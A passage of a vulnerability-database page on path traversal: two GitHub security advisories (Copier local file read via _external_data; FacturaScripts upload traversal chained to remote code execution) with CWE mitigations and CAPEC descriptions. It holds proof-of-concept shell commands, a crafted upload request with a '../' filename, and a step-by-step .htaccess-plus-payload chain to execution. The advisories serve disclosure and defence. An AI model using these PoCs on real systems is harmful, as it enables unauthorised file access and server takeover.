"url": "https://github.com/openclaw/openclaw/commit/4797bbc5b96e2cca5532e43b58915c051746fe37"
},
{
"type": "PACKAGE",
"url": "https://github.com/openclaw/openclaw"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/openclaw-media-parsing-path-traversal-to-arbitrary-file-read"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "OpenClaw is vulnerable to Path Traversal through path validation bypass"
}
GHSA-HGJQ-P8CR-GG4H
Vulnerability from github – Published: 2026-04-01 22:38 – Updated: 2026-04-06 17:32Summary
Copier's _external_data feature allows a template to load YAML files using template-controlled paths. The documentation describes these values as relative paths from the subproject destination, so relative paths themselves appear to be part of the intended feature model.
However, the current implementation also allows destination-external reads, including:
- Parent-directory paths such as
../secret.yml - Absolute paths such as
/tmp/secret.yml
and then exposes the parsed contents in rendered output.
This is possible without --UNSAFE, which makes the behavior potentially dangerous when Copier is run against untrusted templates. I am not certain this is unintended behavior, but it is security-sensitive and appears important to clarify.
Details
The relevant flow is:
- A template defines
_external_data - Copier renders the configured path string
- Copier calls
load_answersfile_data(dst_path, rendered_path, warn_on_missing=True) load_answersfile_data()opensPath(dst_path, answers_file)directly- Parsed YAML becomes available as
_external_data.<name>during rendering
Relevant code:
- https://github.com/copier-org/copier/blob/7aa7021bd73797c982492bac3535515d4484fdb7/copier/_main.py#L329-L332
- https://github.com/copier-org/copier/blob/7aa7021bd73797c982492bac3535515d4484fdb7/copier/_user_data.py#L584-L592
The sink is:
with Path(dst_path, answers_file).open("rb") as fd:
return yaml.safe_load(fd)
There is no containment check to ensure the resulting path stays inside the subproject destination.
This is notable because Copier already blocks other destination-escape paths. Normal render-path traversal outside the destination is expected to raise ForbiddenPathError, and that behavior is explicitly covered by existing tests in https://github.com/copier-org/copier/blob/7aa7021bd73797c982492bac3535515d4484fdb7/tests/test_copy.py#L1289-L1332. _external_data does not apply an equivalent containment check.
The public documentation describes _external_data values as relative paths "from the subproject destination" in https://github.com/copier-org/copier/blob/7aa7021bd73797c982492bac3535515d4484fdb7/docs/configuring.md#L944-L1005, with examples using .copier-answers.yml and .secrets.yaml. That clearly supports relative-path usage, but it does not clearly communicate that a template may escape the destination with ../... or read arbitrary absolute paths. Because this behavior also works without --UNSAFE, it seems worth clarifying whether destination-external reads are intended, and if so, whether they should be documented as security-sensitive behavior.
PoC
PoC 1: _external_data reads outside the destination with ../
mkdir src dst
echo 'token: topsecret' > secret.yml
printf '%s\n' '_external_data:' ' secret: ../secret.yml' > src/copier.yml
printf '%s\n' '{{ _external_data.secret.token }}' > src/leak.txt.jinja
copier copy --overwrite src dst
cat dst/leak.txt
Expected output:
topsecret
PoC 2: _external_data reads an absolute path
mkdir abs-src abs-dst
echo 'token: abssecret' > absolute-secret.yml
printf '%s\n' '_external_data:' " secret: $(pwd)/absolute-secret.yml" > abs-src/copier.yml
printf '%s\n' '{{ _external_data.secret.token }}' > abs-src/leak.txt.jinja
copier copy --overwrite abs-src abs-dst
cat abs-dst/leak.txt
Expected output:
abssecret
Impact
If untrusted templates are in scope, a malicious template can read attacker-chosen YAML-parseable local files that are accessible to the user running Copier and expose their contents in rendered output.
Practical impact:
- Destination-external local file read
- Disclosure of YAML/JSON/plain-text-like secrets if they parse successfully under
yaml.safe_load - Possible without
--UNSAFE
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 9.14.0"
},
"package": {
"ecosystem": "PyPI",
"name": "copier"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "9.14.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-34730"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-01T22:38:39Z",
"nvd_published_at": "2026-04-02T19:21:32Z",
"severity": "MODERATE"
},
"details": "### Summary\n\nCopier\u0027s `_external_data` feature allows a template to load YAML files using template-controlled paths. The documentation describes these values as relative paths from the subproject destination, so relative paths themselves appear to be part of the intended feature model.\n\nHowever, the current implementation also allows destination-external reads, including:\n\n- Parent-directory paths such as `../secret.yml`\n- Absolute paths such as `/tmp/secret.yml`\n\nand then exposes the parsed contents in rendered output.\n\nThis is possible without `--UNSAFE`, which makes the behavior potentially dangerous when Copier is run against untrusted templates. I am not certain this is unintended behavior, but it is security-sensitive and appears important to clarify.\n\n### Details\n\nThe relevant flow is:\n\n1. A template defines `_external_data`\n2. Copier renders the configured path string\n3. Copier calls `load_answersfile_data(dst_path, rendered_path, warn_on_missing=True)`\n4. `load_answersfile_data()` opens `Path(dst_path, answers_file)` directly\n5. Parsed YAML becomes available as `_external_data.\u003cname\u003e` during rendering\n\nRelevant code:\n\n- \u003chttps://github.com/copier-org/copier/blob/7aa7021bd73797c982492bac3535515d4484fdb7/copier/_main.py#L329-L332\u003e\n- \u003chttps://github.com/copier-org/copier/blob/7aa7021bd73797c982492bac3535515d4484fdb7/copier/_user_data.py#L584-L592\u003e\n\nThe sink is:\n\n```python\nwith Path(dst_path, answers_file).open(\"rb\") as fd:\n return yaml.safe_load(fd)\n```\n\nThere is no containment check to ensure the resulting path stays inside the subproject destination.\n\nThis is notable because Copier already blocks other destination-escape paths. Normal render-path traversal outside the destination is expected to raise `ForbiddenPathError`, and that behavior is explicitly covered by existing tests in \u003chttps://github.com/copier-org/copier/blob/7aa7021bd73797c982492bac3535515d4484fdb7/tests/test_copy.py#L1289-L1332\u003e. `_external_data` does not apply an equivalent containment check.\n\nThe public documentation describes `_external_data` values as relative paths \"from the subproject destination\" in \u003chttps://github.com/copier-org/copier/blob/7aa7021bd73797c982492bac3535515d4484fdb7/docs/configuring.md#L944-L1005\u003e, with examples using `.copier-answers.yml` and `.secrets.yaml`. That clearly supports relative-path usage, but it does not clearly communicate that a template may escape the destination with `../...` or read arbitrary absolute paths. Because this behavior also works without `--UNSAFE`, it seems worth clarifying whether destination-external reads are intended, and if so, whether they should be documented as security-sensitive behavior.\n\n### PoC\n\n#### PoC 1: `_external_data` reads outside the destination with `../`\n\n```sh\nmkdir src dst\necho \u0027token: topsecret\u0027 \u003e secret.yml\n\nprintf \u0027%s\\n\u0027 \u0027_external_data:\u0027 \u0027 secret: ../secret.yml\u0027 \u003e src/copier.yml\nprintf \u0027%s\\n\u0027 \u0027{{ _external_data.secret.token }}\u0027 \u003e src/leak.txt.jinja\n\ncopier copy --overwrite src dst\ncat dst/leak.txt\n```\n\nExpected output:\n\n```text\ntopsecret\n```\n\n#### PoC 2: `_external_data` reads an absolute path\n\n```sh\nmkdir abs-src abs-dst\necho \u0027token: abssecret\u0027 \u003e absolute-secret.yml\n\nprintf \u0027%s\\n\u0027 \u0027_external_data:\u0027 \" secret: $(pwd)/absolute-secret.yml\" \u003e abs-src/copier.yml\nprintf \u0027%s\\n\u0027 \u0027{{ _external_data.secret.token }}\u0027 \u003e abs-src/leak.txt.jinja\n\ncopier copy --overwrite abs-src abs-dst\ncat abs-dst/leak.txt\n```\n\nExpected output:\n\n```text\nabssecret\n```\n\n### Impact\n\nIf untrusted templates are in scope, a malicious template can read attacker-chosen YAML-parseable local files that are accessible to the user running Copier and expose their contents in rendered output.\n\nPractical impact:\n\n- Destination-external local file read\n- Disclosure of YAML/JSON/plain-text-like secrets if they parse successfully under `yaml.safe_load`\n- Possible without `--UNSAFE`",
"id": "GHSA-hgjq-p8cr-gg4h",
"modified": "2026-04-06T17:32:36Z",
"published": "2026-04-01T22:38:39Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/copier-org/copier/security/advisories/GHSA-hgjq-p8cr-gg4h"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-34730"
},
{
"type": "WEB",
"url": "https://github.com/copier-org/copier/commit/5413062eb17b73dc885f5e645cdc161e69ef641b"
},
{
"type": "PACKAGE",
"url": "https://github.com/copier-org/copier"
},
{
"type": "WEB",
"url": "https://github.com/copier-org/copier/releases/tag/v9.14.1"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "Copier `_external_data` allows path traversal and absolute-path local file read without unsafe mode"
}
GHSA-HGJX-R89M-M7V4
Vulnerability from github – Published: 2026-07-14 20:52 – Updated: 2026-07-14 20:52Summary
FacturaScripts\Core\UploadedFile::move($destiny, $destinyName) concatenates $destiny and $destinyName without normalizing the resulting path. Every caller in the codebase passes UploadedFile::getClientOriginalName() — the unsanitized client-supplied filename — as $destinyName, so an authenticated user submitting a filename containing ../ segments can write the uploaded content to any directory writable by the web-server user, escaping the intended MyFiles/ location.
Because the shipped htaccess-sample (the documented production Apache configuration) excludes Dinamic/Assets/ and node_modules/ from the index.php rewrite, files written into those directories are served directly by Apache. Combined with .htaccess not being in BLOCKED_EXTENSIONS, the primitive escalates from arbitrary file write to remote code execution.
Vulnerable Code
Core/UploadedFile.php:
private const BLOCKED_EXTENSIONS = ['phar', 'php', 'php3', 'php4', 'php5', 'php7', 'php8', 'pht', 'phtml', 'phps'];
public function move(string $destiny, string $destinyName): bool
{
if (!$this->isValid()) {
return false;
}
if (substr($destiny, -1) !== DIRECTORY_SEPARATOR) {
$destiny .= DIRECTORY_SEPARATOR;
}
return $this->test ?
rename($this->tmp_name, $destiny . $destinyName) :
move_uploaded_file($this->tmp_name, $destiny . $destinyName);
}
public function getClientOriginalName(): string
{
return $this->name ?? '';
}
isValid() only checks the extension blocklist, the upload error code, and is_uploaded_file() — it never inspects the filename for directory separators or .. segments.
Six call sites pass the raw client filename straight into move():
Core/Controller/ApiUploadFiles.php:58—POST /api/3/uploadfilesCore/Controller/ApiAttachedFiles.php:136—POST /api/3/attachedfilesCore/Lib/Widget/WidgetFile.php:84— every form using a file widgetCore/Lib/Widget/WidgetLibrary.php:215— library widget uploadCore/Lib/ExtendedController/DocFilesTrait.php:51— document files traitCore/Controller/AdminPlugins.php:260— plugin (zip) upload
Representative sink — Core/Controller/ApiUploadFiles.php:56-79:
private function uploadFile(UploadedFile $uploadFile): ?AttachedFile
{
if (false === $uploadFile->isValid()) {
return null;
}
$destiny = FS_FOLDER . '/MyFiles/';
$destinyName = $uploadFile->getClientOriginalName();
if (file_exists($destiny . $destinyName)) {
$destinyName = mt_rand(1, 999999) . '_' . $destinyName;
}
if ($uploadFile->move($destiny, $destinyName)) {
...
}
}
Shipped htaccess-sample (production Apache rules):
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteCond %{REQUEST_URI} !Dinamic/Assets/ [NC]
RewriteCond %{REQUEST_URI} !node_modules/ [NC]
RewriteRule . index.php [L]
</IfModule>
Apache therefore serves any file under Dinamic/Assets/ directly, bypassing index.php entirely.
PoC
Step 1 — Static reproduction of the file-write primitive
The following script replicates UploadedFile::move()'s rename() path verbatim inside a sandboxed temp directory. It does not run any payload — it only demonstrates that the destination escapes MyFiles/ when the filename contains ../.
<?php
$base = sys_get_temp_dir() . DIRECTORY_SEPARATOR . 'fs_verify_' . uniqid();
mkdir($base);
mkdir($base . '/MyFiles');
mkdir($base . '/Dinamic');
mkdir($base . '/Dinamic/Assets');
$tmp = $base . '/tmp_upload.dat';
file_put_contents($tmp, "static-verification-marker\n");
function fs_move($tmp_name, $destiny, $destinyName) {
if (substr($destiny, -1) !== DIRECTORY_SEPARATOR) {
$destiny .= DIRECTORY_SEPARATOR;
}
return rename($tmp_name, $destiny . $destinyName);
}
fs_move($tmp, $base . '/MyFiles', '../Dinamic/Assets/traversed.txt');
echo file_exists($base . '/Dinamic/Assets/traversed.txt')
? "WRITTEN OUTSIDE MyFiles\n"
: "blocked\n";
Output:
WRITTEN OUTSIDE MyFiles
Step 2 — Equivalent live HTTP request
POST /api/3/uploadfiles HTTP/1.1
Host: target
Token: <valid-api-token>
Content-Type: multipart/form-data; boundary=---X
-----X
Content-Disposition: form-data; name="files[]"; filename="../Dinamic/Assets/traversed.txt"
Content-Type: text/plain
static-verification-marker
-----X--
After the request, Dinamic/Assets/traversed.txt exists on disk and is reachable at https://target/Dinamic/Assets/traversed.txt — Apache serves it directly because the path is excluded from the index.php rewrite.
Step 3 — Chain to code execution
Because .htaccess is not in BLOCKED_EXTENSIONS, the same primitive can write an Apache override into Dinamic/Assets/:
- Upload with filename
../Dinamic/Assets/.htaccessand bodyAddType application/x-httpd-php .png - Upload with filename
../Dinamic/Assets/x.pngcontaining a PHP payload (extensionpngis not blocked, content is not validated byisValid()) - Request
https://target/Dinamic/Assets/x.png— Apache hands it to the PHP handler per the uploaded.htaccess
Root Cause
UploadedFile::move() performs raw $destiny . $destinyName concatenation and trusts getClientOriginalName(), which returns $this->name ?? '' with no normalization. No call site applies basename() or any equivalent before passing the client filename to move(). The blocklist in BLOCKED_EXTENSIONS covers only PHP-family extensions and does not cover htaccess, which is required for the rewrite-excluded directory to be useful for code execution.
Impact
Authenticated attacker (any role with permission to call one of the six upload entry points — including any user allowed to attach a file to a record, or any API token with uploadfiles/attachedfiles access) can:
- Write arbitrary content to any path under the application root that is writable by the web-server user, including
Dinamic/Assets/(Apache-direct-served) andnode_modules/. - Overwrite shipped JS/CSS inside
Dinamic/Assets/, injecting client-side script that executes in every administrator's browser → session takeover on next admin page load. - Drop a
.htaccessintoDinamic/Assets/remapping a benign extension to the PHP handler, followed by a second upload that lands an executable payload — full remote code execution as the web-server user.
The required precondition is only an authenticated session or API token with upload privileges, which is granted to a wide range of non-administrative roles in standard installations.
Fix
Minimal fix — sanitize inside UploadedFile::move() so every call site is covered automatically:
public function move(string $destiny, string $destinyName): bool
{
if (!$this->isValid()) {
return false;
}
// strip any directory component from the client-supplied filename
$destinyName = basename($destinyName);
if (substr($destiny, -1) !== DIRECTORY_SEPARATOR) {
$destiny .= DIRECTORY_SEPARATOR;
}
return $this->test ?
rename($this->tmp_name, $destiny . $destinyName) :
move_uploaded_file($this->tmp_name, $destiny . $destinyName);
}
Apply the same change in moveTo().
Recommended hardening in addition:
- Add
htaccess,htm,html,shtml,phtmtoBLOCKED_EXTENSIONS, or replace the blocklist with an allowlist resolved per call site. - After concatenating the final destination, verify with
realpath()that the result is still inside the intended base directory; abort otherwise. - Drop a
Deny from all.htaccess(or equivalent web-server rule) intoMyFiles/so even successfully written files cannot be requested directly without going through the application download endpoint (which already enforcesMyFilesToken).
Status
Reported privately to the maintainer via GitHub Security Advisory. Awaiting acknowledgement.
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "facturascripts/facturascripts"
},
"ranges": [
{
"events": [
{
"introduced": "2025"
},
{
"last_affected": "2026.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-22",
"CWE-434"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-14T20:52:00Z",
"nvd_published_at": null,
"severity": "CRITICAL"
},
"details": "## Summary\n\n`FacturaScripts\\Core\\UploadedFile::move($destiny, $destinyName)` concatenates `$destiny` and `$destinyName` without normalizing the resulting path. Every caller in the codebase passes `UploadedFile::getClientOriginalName()` \u2014 the unsanitized client-supplied filename \u2014 as `$destinyName`, so an authenticated user submitting a filename containing `../` segments can write the uploaded content to any directory writable by the web-server user, escaping the intended `MyFiles/` location.\n\nBecause the shipped `htaccess-sample` (the documented production Apache configuration) excludes `Dinamic/Assets/` and `node_modules/` from the `index.php` rewrite, files written into those directories are served directly by Apache. Combined with `.htaccess` not being in `BLOCKED_EXTENSIONS`, the primitive escalates from arbitrary file write to remote code execution.\n\n## Vulnerable Code\n\n`Core/UploadedFile.php`:\n\n```php\nprivate const BLOCKED_EXTENSIONS = [\u0027phar\u0027, \u0027php\u0027, \u0027php3\u0027, \u0027php4\u0027, \u0027php5\u0027, \u0027php7\u0027, \u0027php8\u0027, \u0027pht\u0027, \u0027phtml\u0027, \u0027phps\u0027];\n\npublic function move(string $destiny, string $destinyName): bool\n{\n if (!$this-\u003eisValid()) {\n return false;\n }\n if (substr($destiny, -1) !== DIRECTORY_SEPARATOR) {\n $destiny .= DIRECTORY_SEPARATOR;\n }\n return $this-\u003etest ?\n rename($this-\u003etmp_name, $destiny . $destinyName) :\n move_uploaded_file($this-\u003etmp_name, $destiny . $destinyName);\n}\n\npublic function getClientOriginalName(): string\n{\n return $this-\u003ename ?? \u0027\u0027;\n}\n```\n\n`isValid()` only checks the extension blocklist, the upload error code, and `is_uploaded_file()` \u2014 it never inspects the filename for directory separators or `..` segments.\n\nSix call sites pass the raw client filename straight into `move()`:\n\n- `Core/Controller/ApiUploadFiles.php:58` \u2014 `POST /api/3/uploadfiles`\n- `Core/Controller/ApiAttachedFiles.php:136` \u2014 `POST /api/3/attachedfiles`\n- `Core/Lib/Widget/WidgetFile.php:84` \u2014 every form using a file widget\n- `Core/Lib/Widget/WidgetLibrary.php:215` \u2014 library widget upload\n- `Core/Lib/ExtendedController/DocFilesTrait.php:51` \u2014 document files trait\n- `Core/Controller/AdminPlugins.php:260` \u2014 plugin (zip) upload\n\nRepresentative sink \u2014 `Core/Controller/ApiUploadFiles.php:56-79`:\n\n```php\nprivate function uploadFile(UploadedFile $uploadFile): ?AttachedFile\n{\n if (false === $uploadFile-\u003eisValid()) {\n return null;\n }\n $destiny = FS_FOLDER . \u0027/MyFiles/\u0027;\n $destinyName = $uploadFile-\u003egetClientOriginalName();\n if (file_exists($destiny . $destinyName)) {\n $destinyName = mt_rand(1, 999999) . \u0027_\u0027 . $destinyName;\n }\n if ($uploadFile-\u003emove($destiny, $destinyName)) {\n ...\n }\n}\n```\n\nShipped `htaccess-sample` (production Apache rules):\n\n```apache\n\u003cIfModule mod_rewrite.c\u003e\n RewriteEngine On\n RewriteBase /\n RewriteCond %{REQUEST_URI} !Dinamic/Assets/ [NC]\n RewriteCond %{REQUEST_URI} !node_modules/ [NC]\n RewriteRule . index.php [L]\n\u003c/IfModule\u003e\n```\n\nApache therefore serves any file under `Dinamic/Assets/` directly, bypassing `index.php` entirely.\n\n## PoC\n\n### Step 1 \u2014 Static reproduction of the file-write primitive\n\nThe following script replicates `UploadedFile::move()`\u0027s `rename()` path verbatim inside a sandboxed temp directory. It does not run any payload \u2014 it only demonstrates that the destination escapes `MyFiles/` when the filename contains `../`.\n\n```php\n\u003c?php\n$base = sys_get_temp_dir() . DIRECTORY_SEPARATOR . \u0027fs_verify_\u0027 . uniqid();\nmkdir($base);\nmkdir($base . \u0027/MyFiles\u0027);\nmkdir($base . \u0027/Dinamic\u0027);\nmkdir($base . \u0027/Dinamic/Assets\u0027);\n\n$tmp = $base . \u0027/tmp_upload.dat\u0027;\nfile_put_contents($tmp, \"static-verification-marker\\n\");\n\nfunction fs_move($tmp_name, $destiny, $destinyName) {\n if (substr($destiny, -1) !== DIRECTORY_SEPARATOR) {\n $destiny .= DIRECTORY_SEPARATOR;\n }\n return rename($tmp_name, $destiny . $destinyName);\n}\n\nfs_move($tmp, $base . \u0027/MyFiles\u0027, \u0027../Dinamic/Assets/traversed.txt\u0027);\n\necho file_exists($base . \u0027/Dinamic/Assets/traversed.txt\u0027)\n ? \"WRITTEN OUTSIDE MyFiles\\n\"\n : \"blocked\\n\";\n```\n\nOutput:\n\n```\nWRITTEN OUTSIDE MyFiles\n```\n\n### Step 2 \u2014 Equivalent live HTTP request\n\n```http\nPOST /api/3/uploadfiles HTTP/1.1\nHost: target\nToken: \u003cvalid-api-token\u003e\nContent-Type: multipart/form-data; boundary=---X\n\n-----X\nContent-Disposition: form-data; name=\"files[]\"; filename=\"../Dinamic/Assets/traversed.txt\"\nContent-Type: text/plain\n\nstatic-verification-marker\n-----X--\n```\n\nAfter the request, `Dinamic/Assets/traversed.txt` exists on disk and is reachable at `https://target/Dinamic/Assets/traversed.txt` \u2014 Apache serves it directly because the path is excluded from the `index.php` rewrite.\n\n### Step 3 \u2014 Chain to code execution\n\nBecause `.htaccess` is not in `BLOCKED_EXTENSIONS`, the same primitive can write an Apache override into `Dinamic/Assets/`:\n\n1. Upload with filename `../Dinamic/Assets/.htaccess` and body `AddType application/x-httpd-php .png`\n2. Upload with filename `../Dinamic/Assets/x.png` containing a PHP payload (extension `png` is not blocked, content is not validated by `isValid()`)\n3. Request `https://target/Dinamic/Assets/x.png` \u2014 Apache hands it to the PHP handler per the uploaded `.htaccess`\n\n## Root Cause\n\n`UploadedFile::move()` performs raw `$destiny . $destinyName` concatenation and trusts `getClientOriginalName()`, which returns `$this-\u003ename ?? \u0027\u0027` with no normalization. No call site applies `basename()` or any equivalent before passing the client filename to `move()`. The blocklist in `BLOCKED_EXTENSIONS` covers only PHP-family extensions and does not cover `htaccess`, which is required for the rewrite-excluded directory to be useful for code execution.\n\n## Impact\n\nAuthenticated attacker (any role with permission to call one of the six upload entry points \u2014 including any user allowed to attach a file to a record, or any API token with `uploadfiles`/`attachedfiles` access) can:\n\n- Write arbitrary content to any path under the application root that is writable by the web-server user, including `Dinamic/Assets/` (Apache-direct-served) and `node_modules/`.\n- Overwrite shipped JS/CSS inside `Dinamic/Assets/`, injecting client-side script that executes in every administrator\u0027s browser \u2192 session takeover on next admin page load.\n- Drop a `.htaccess` into `Dinamic/Assets/` remapping a benign extension to the PHP handler, followed by a second upload that lands an executable payload \u2014 full remote code execution as the web-server user.\n\nThe required precondition is only an authenticated session or API token with upload privileges, which is granted to a wide range of non-administrative roles in standard installations.\n\n## Fix\n\nMinimal fix \u2014 sanitize inside `UploadedFile::move()` so every call site is covered automatically:\n\n```php\npublic function move(string $destiny, string $destinyName): bool\n{\n if (!$this-\u003eisValid()) {\n return false;\n }\n // strip any directory component from the client-supplied filename\n $destinyName = basename($destinyName);\n if (substr($destiny, -1) !== DIRECTORY_SEPARATOR) {\n $destiny .= DIRECTORY_SEPARATOR;\n }\n return $this-\u003etest ?\n rename($this-\u003etmp_name, $destiny . $destinyName) :\n move_uploaded_file($this-\u003etmp_name, $destiny . $destinyName);\n}\n```\n\nApply the same change in `moveTo()`.\n\nRecommended hardening in addition:\n\n- Add `htaccess`, `htm`, `html`, `shtml`, `phtm` to `BLOCKED_EXTENSIONS`, or replace the blocklist with an allowlist resolved per call site.\n- After concatenating the final destination, verify with `realpath()` that the result is still inside the intended base directory; abort otherwise.\n- Drop a `Deny from all` `.htaccess` (or equivalent web-server rule) into `MyFiles/` so even successfully written files cannot be requested directly without going through the application download endpoint (which already enforces `MyFilesToken`).\n\n## Status\n\nReported privately to the maintainer via GitHub Security Advisory. Awaiting acknowledgement.",
"id": "GHSA-hgjx-r89m-m7v4",
"modified": "2026-07-14T20:52:00Z",
"published": "2026-07-14T20:52:00Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/NeoRazorX/facturascripts/security/advisories/GHSA-hgjx-r89m-m7v4"
},
{
"type": "PACKAGE",
"url": "https://github.com/NeoRazorX/facturascripts"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "FacturaScripts: Path traversal in UploadedFile::move() via getClientOriginalName() \u2014 arbitrary file write outside MyFiles/ leading to RCE"
}
Mitigation MIT-5.1
Strategy: Input Validation
- Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
- When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
- Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
- When validating filenames, use stringent allowlists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a list of allowable file extensions, which will help to avoid CWE-434.
- Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a denylist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../...//" string in a sequential fashion, two instances of "../" would be removed from the original string, but the remaining characters would still form the "../" string.
Mitigation MIT-15
For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
Mitigation MIT-20.1
Strategy: Input Validation
- Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.
- Use a built-in path canonicalization function (such as realpath() in C) that produces the canonical version of the pathname, which effectively removes ".." sequences and symbolic links (CWE-23, CWE-59). This includes:
- realpath() in C
- getCanonicalPath() in Java
- GetFullPath() in ASP.NET
- realpath() or abs_path() in Perl
- realpath() in PHP
Mitigation MIT-4
Strategy: Libraries or Frameworks
Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482].
Mitigation MIT-29
Strategy: Firewall
Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481].
Mitigation MIT-17
Strategy: Environment Hardening
Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.
Mitigation MIT-21.1
Strategy: Enforcement by Conversion
- When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.
- For example, ID 1 could map to "inbox.txt" and ID 2 could map to "profile.txt". Features such as the ESAPI AccessReferenceMap [REF-185] provide this capability.
Mitigation MIT-22
Strategy: Sandbox or Jail
- Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software.
- OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations.
- This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise.
- Be careful to avoid CWE-243 and other weaknesses related to jails.
Mitigation MIT-34
Strategy: Attack Surface Reduction
- Store library, include, and utility files outside of the web document root, if possible. Otherwise, store them in a separate directory and use the web server's access control capabilities to prevent attackers from directly requesting them. One common practice is to define a fixed constant in each calling program, then check for the existence of the constant in the library/include file; if the constant does not exist, then the file was directly requested, and it can exit immediately.
- This significantly reduces the chance of an attacker being able to bypass any protection mechanisms that are in the base program but not in the include files. It will also reduce the attack surface.
Mitigation MIT-39
- Ensure that error messages only contain minimal details that are useful to the intended audience and no one else. The messages need to strike the balance between being too cryptic (which can confuse users) or being too detailed (which may reveal more than intended). The messages should not reveal the methods that were used to determine the error. Attackers can use detailed information to refine or optimize their original attack, thereby increasing their chances of success.
- If errors must be captured in some detail, record them in log messages, but consider what could occur if the log messages can be viewed by attackers. Highly sensitive information such as passwords should never be saved to log files.
- Avoid inconsistent messaging that might accidentally tip off an attacker about internal state, such as whether a user account exists or not.
- In the context of path traversal, error messages which disclose path information can help attackers craft the appropriate attack strings to move through the file system hierarchy.
Mitigation MIT-16
Strategy: Environment Hardening
When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.
CAPEC-126: Path Traversal
An adversary uses path manipulation methods to exploit insufficient input validation of a target to obtain access to data that should be not be retrievable by ordinary well-formed requests. A typical variety of this attack involves specifying a path to a desired file together with dot-dot-slash characters, resulting in the file access API or function traversing out of the intended directory structure and into the root file system. By replacing or modifying the expected path information the access function or API retrieves the file desired by the attacker. These attacks either involve the attacker providing a complete path to a targeted file or using control characters (e.g. path separators (/ or \) and/or dots (.)) to reach desired directories or files.
CAPEC-64: Using Slashes and URL Encoding Combined to Bypass Validation Logic
This attack targets the encoding of the URL combined with the encoding of the slash characters. An attacker can take advantage of the multiple ways of encoding a URL and abuse the interpretation of the URL. A URL may contain special character that need special syntax handling in order to be interpreted. Special characters are represented using a percentage character followed by two digits representing the octet code of the original character (%HEX-CODE). For instance US-ASCII space character would be represented with %20. This is often referred as escaped ending or percent-encoding. Since the server decodes the URL from the requests, it may restrict the access to some URL paths by validating and filtering out the URL requests it received. An attacker will try to craft an URL with a sequence of special characters which once interpreted by the server will be equivalent to a forbidden URL. It can be difficult to protect against this attack since the URL can contain other format of encoding such as UTF-8 encoding, Unicode-encoding, etc.
CAPEC-76: Manipulating Web Input to File System Calls
An attacker manipulates inputs to the target software which the target software passes to file system calls in the OS. The goal is to gain access to, and perhaps modify, areas of the file system that the target software did not intend to be accessible.
CAPEC-78: Using Escaped Slashes in Alternate Encoding
